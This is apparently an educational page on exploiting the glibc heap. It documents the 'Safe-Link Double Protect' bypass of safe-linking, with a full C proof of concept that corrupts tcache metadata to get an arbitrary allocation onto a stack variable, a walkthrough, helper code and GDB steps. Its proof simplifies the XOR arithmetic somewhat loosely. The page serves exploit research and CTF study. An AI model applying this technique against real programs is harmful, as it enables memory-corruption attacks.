Skip to main content

Overview

Safe-Link Double Protect is a blind bypass technique for the safe-linking mitigation that requires no heap leaks. By protecting a pointer twice with the same key, the XOR operations cancel out, effectively reverting to the original unprotected pointer.
Glibc Compatibility: Works on glibc 2.32+ where safe-linking was introduced.

What It Achieves

This technique allows you to:
  • Bypass safe-linking without heap leaks: No need to know actual addresses
  • Link arbitrary pointers into tcache: Achieve arbitrary allocation primitive
  • Exploit with limited primitives: Only needs tcache metadata control
  • Require only 4-bit bruteforce: If using write primitive (no bruteforce with increment)
Prerequisites: This technique requires control over the tcache metadata structure, making it often paired with techniques like House of Water.

The Core Concept

Safe-linking protects pointers using:
protected_ptr = (ptr >> 12) ^ key
The key insight is that protecting twice with the same key cancels out:
// First protection:
protected_once = (ptr >> 12) ^ key

// Second protection (using the same key):
protected_twice = (protected_once >> 12) ^ key
               = (((ptr >> 12) ^ key) >> 12) ^ key

// When properly arranged:
protected_twice ≈ ptr  // Back to original!
Mathematical Proof:
Let P = (ptr >> 12) and K = key
First protect:  P ^ K
Second protect: (P ^ K) ^ K = P ^ (K ^ K) = P ^ 0 = P

Full Source Code

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <assert.h>

/* 
 * This method showcases a blind bypass for the safe-linking mitigation introduced in glibc 2.32. 
 * https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=a1a486d70ebcc47a686ff5846875eacad0940e41
 * 
 * NOTE: This requires 4 bits of bruteforce if the primitive is a write primitive, as the LSB will  
 * contain 4 bits of randomness. If you can increment integers, no brutefore is required.
 *
 * Safe-Linking is a memory protection measure using ASLR randomness to fortify single-linked lists. 
 * It obfuscates pointers and enforces alignment checks, to prevent pointer hijacking in t-cache.
 *
 * When an entry is linked in to the t-cache, the address is XOR'd with the address that free is 
 * called on, shifted by 12 bits. However if you were to link this newly protected pointer, it
 * would be XOR'd again with the same key, effectively reverting the protection. 
 * Thus, by simply protecting a pointer twice we effectively achieve the following:
 *	
 *                                  (ptr^key)^key = ptr
 *
 * The technique requires control over the t-cache metadata, so pairing it with a technique such as
 * house of water might be favourable.
 *
 * Technique by @udp_ctf - Water Paddler / Blue Water 
 */

int main(void) {
	// Prevent _IO_FILE from buffering in the heap
	setbuf(stdin, NULL);
	setbuf(stdout, NULL);
	setbuf(stderr, NULL);

	// Create the goal stack buffer
	char goal[] = "Replace me!";
	puts("============================================================");
	printf("Our goal is to write to the stack variable @ %p\n", goal);
	printf("String contains: %s\n", goal);
	puts("============================================================");
	puts("\n");

	// Step 1: Allocate
	puts("Allocate two chunks in two different t-caches:");
	
	// Allocate two chunks of size 0x38 for 0x40 t-cache
	puts("\t- 0x40 chunks:");
	void *a = malloc(0x38);
	void *b = malloc(0x38);
	printf("\t\t* Entry a @ %p\n", a);
	printf("\t\t* Entry b @ %p\n", b);

	// Allocate two chunks of size 0x18 for 0x20 t-cache
	void *c = malloc(0x18);
	void *d = malloc(0x18);
	puts("\t- 0x20 chunks:");
	printf("\t\t* Entry c @ %p\n", c);
	printf("\t\t* Entry d @ %p\n", d);
	puts("");

	// Step 2: Write an arbitrary value (or note the offset to an exsisting value)
	puts("Allocate a pointer which will contain a pointer to the stack variable:");

	// Allocate a chunk and store a modified pointer to the 'goal' array.
	void *value = malloc(0x28);
	// make sure that the pointer ends on 0 for proper heap alignemnt or a fault will occur
	*(long *)value = ((long)(goal) & ~(0xf));

	printf("\t* Arbitrary value (0x%lx) written to %p\n", *(long*)value, value);
	puts("");

	// Step 3: Free the two chunks in the two t-caches to make two t-cache entries in two different caches
	puts("Free the 0x40 and 0x20 chunks to populate the t-caches");

	puts("\t- Free 0x40 chunks:");
	// Free the allocated 0x38 chunks to populate the 0x40 t-cache
	free(a);
	free(b);
	printf("\t\t> 0x40 t-cache: [%p -> %p]\n", b, a);

	puts("\t- Free the 0x20 chunks");
	// Free the allocated 0x18 chunks to populate the 0x20 t-cache
	free(c);
	free(d);
	printf("\t\t> 0x20 t-cache: [%p -> %p]\n", d, c);
	puts("");

	// Step 4: Using our t-cache metadata control primitive, we will now execute the vulnerability
	puts("Modify the 0x40 t-cache pointer to point to the heap value that holds our arbitrary value, ");
	puts("by overwriting the LSB of the pointer for 0x40 in the t-cache metadata:");
	
	// Calculate the address of the t-cache metadata
	void *metadata = (void *)((long)(value) & ~(0xfff));

	// Overwrite the LSB of the 0x40 t-cache chunk to point to the heap chunk containing the arbitrary value
	*(unsigned int*)(metadata+0xa0) = (long)(metadata)+((long)(value) & (0xfff));

	printf("\t\t> 0x40 t-cache: [%p -> 0x%lx]\n", value, (*(long*)value)^((long)metadata>>12));
	puts("");

	puts("Allocate once to make the protected pointer the current entry in the 0x40 bin:");
	void *_ = malloc(0x38);
	printf("\t\t> 0x40 t-cache: [0x%lx]\n", *(unsigned long*)(metadata+0xa0));
	puts("");

	/* VULNERABILITY */	
	puts("Point the 0x20 bin to the 0x40 bin in the t-cache metadata, containing the newly safe-linked value:");
	*(unsigned int*)(metadata+0x90) = (long)(metadata)+0xa0;
	printf("\t\t> 0x20 t-cache: [0x%lx -> 0x%lx]\n", (long)(metadata)+0xa0, *(long*)value);
	puts("");
	/* VULNERABILITY */	

	// Step 5: Allocate twice to allocate the arbitrary value
	puts("Allocate twice to gain a pointer to our arbitrary value");
	
	_ = malloc(0x18);
	printf("\t\t> First  0x20 allocation: %p\n", _);
	
	char *vuln = malloc(0x18);
	printf("\t\t> Second 0x20 allocation: %p\n", vuln);
	puts("");

	// Step 6: Overwrite the goal string pointer and verify it has been changed
	strcpy(vuln, "XXXXXXXXXXX HIJACKED!");

	printf("String now contains: %s\n", goal);	
	assert(strcmp(goal, "Replace me!") != 0);
}

Step-by-Step Walkthrough

1

Set Up Multiple Tcache Bins

Allocate chunks in different size classes to have control over multiple tcache bins:
// 0x40 tcache bin
void *a = malloc(0x38);
void *b = malloc(0x38);

// 0x20 tcache bin
void *c = malloc(0x18);
void *d = malloc(0x18);
2

Write Target Address

Store your target address (aligned) in a heap chunk:
void *value = malloc(0x28);
*(long *)value = ((long)(target) & ~(0xf));  // Ensure alignment
3

Populate Tcache Bins

Free the chunks to create tcache freelists:
free(a); free(b);  // 0x40 tcache: b -> a
free(c); free(d);  // 0x20 tcache: d -> c
Now both freelists have safe-linked pointers.
4

Corrupt Tcache Metadata (First Protection)

Modify the 0x40 tcache entry to point to our value chunk:
void *metadata = (void *)((long)(value) & ~(0xfff));
*(unsigned int*)(metadata+0xa0) = (long)metadata + offset_to_value;
Now the 0x40 tcache contains our target address (protected once by safe-linking).
5

Allocate to Get Protected Pointer

Take one chunk from 0x40 tcache to make our target the head:
void *_ = malloc(0x38);
// Now 0x40 tcache head = our_target (protected once)
6

Apply Second Protection (Double Protect)

Point the 0x20 tcache bin to the 0x40 tcache bin entry:
*(unsigned int*)(metadata+0x90) = (long)metadata + 0xa0;
// 0x20 now points to 0x40's entry
When we free into 0x20, safe-linking will protect our already-protected pointer again, canceling out the protection!
7

Trigger Arbitrary Allocation

Allocate from the 0x20 tcache twice:
void *first = malloc(0x18);   // Gets the tcache metadata address
void *second = malloc(0x18);  // Gets our target address!
The second allocation returns our arbitrary target address.

Why This Works

The technique exploits how safe-linking is applied:
  1. First Protection (when freeing chunk A):
    stored_value = (next_chunk_addr >> 12) ^ current_chunk_addr
    
  2. Second Protection (when reading from tcache):
    // If we arrange for the first protected value to be treated as a pointer
    // and freed again, it gets protected a second time:
    doubly_protected = (stored_value >> 12) ^ same_key
    
  3. Cancellation:
    ((ptr ^ K) ^ K) = ptr ^ (K ^ K) = ptr ^ 0 = ptr
    
Original pointer:     0x0000555555559010
                      ↓ (first protection)
Protected once:       0x0000555000559010  (mangled)
                      ↓ (second protection with same key)
Protected twice:      0x0000555555559010  (back to original!)
The XOR operations with the same key cancel each other out.

Bruteforce Considerations

4-bit Bruteforce: If using a write primitive, the lowest 4 bits contain randomness from ASLR. However:
  • No bruteforce needed if you can increment integers
  • 1/16 success rate if you must write exact values
  • Can be avoided by aligning your target address
// Ensure alignment to avoid bruteforce
long target = (long)goal & ~(0xf);  // Clear lower 4 bits

Prerequisites

This technique requires:
  1. Tcache Metadata Control: Ability to overwrite tcache_perthread_struct
  2. Multiple Tcache Bins: Need at least two different size classes
  3. Heap Chunk with Target Address: A place to store your target pointer
  4. Allocation Primitive: Ability to call malloc to trigger the exploit

Combining with Other Techniques

House of Water

House of Water provides the tcache metadata control needed:
// Use House of Water to gain control over tcache metadata
exploit_uaf_to_control_metadata();

// Then apply Safe-Link Double Protect
apply_double_protection();

House of Water

Learn how to gain leakless control of tcache metadata

Tcache Relative Write

Can be used to corrupt tcache metadata:

Tcache Relative Write

Achieve out-of-bounds tcache metadata writes

Why This Is Advanced

Safe-Link Double Protect is considered advanced because:
  1. Requires deep understanding of safe-linking: Must understand XOR properties at bit level
  2. Needs precise tcache metadata control: Difficult to achieve in most programs
  3. Complex multi-step setup: Requires orchestrating multiple tcache bins
  4. Blind technique: Works without leaks, but needs precise execution
  5. Fragile exploitation: Small mistakes can crash the program

Advantages Over Other Bypasses

TechniqueHeap Leak RequiredLibc Leak RequiredBruteforce
Double Protect❌ No❌ No4-bit (optional)
Decrypt Safe-Linking✅ Yes❌ NoNone
Standard Tcache Poisoning✅ Yes❌ NoNone

Common Pitfalls

Avoid these mistakes:
  1. Unaligned targets: Ensure target addresses are 16-byte aligned
  2. Wrong tcache bins: Must use two different size classes
  3. Incorrect metadata offset: Tcache metadata layout is version-specific
  4. Premature allocation: Don’t malloc before setting up both protections

Real-World Applications

This technique has been used in:
  • 37c3 Potluck CTF - Tamagoyaki: Original demonstration of the technique
  • Modern CTF challenges on glibc 2.32+ without heap leaks
  • Exploits where information disclosure is heavily restricted

Implementation Tips

// Helper function to calculate tcache metadata location
void* get_tcache_metadata(void *heap_ptr) {
    return (void *)((long)heap_ptr & ~(0xfff));
}

// Helper to calculate tcache entry offset for size class
int tcache_entry_offset(size_t size) {
    int tc_idx = (size - 0x20) / 0x10;
    return 0x80 + (tc_idx * 8);  // Adjust for your glibc version
}

// Helper to calculate count offset
int tcache_count_offset(size_t size) {
    int tc_idx = (size - 0x20) / 0x10;
    return 0x10 + (tc_idx * 2);
}

Debugging the Exploit

Use GDB to verify each step:
gdb ./exploit
(gdb) b main
(gdb) run

# After setting up tcache bins:
(gdb) heap bins

# Check tcache metadata:
(gdb) x/100gx <metadata_address>

# Verify double protection:
(gdb) p/x *(long*)(metadata + 0xa0)
  • Safe-Linking Overview - Understanding the mitigation
  • Decrypt Safe-Linking - Alternative bypass
  • [House of Water/techniques/house/house-of-water) - Tcache metadata control
  • [Tcache Poisoning/techniques/tcache/tcache-poisoning) - Classic technique this bypasses

References

Build docs developers (and LLMs) love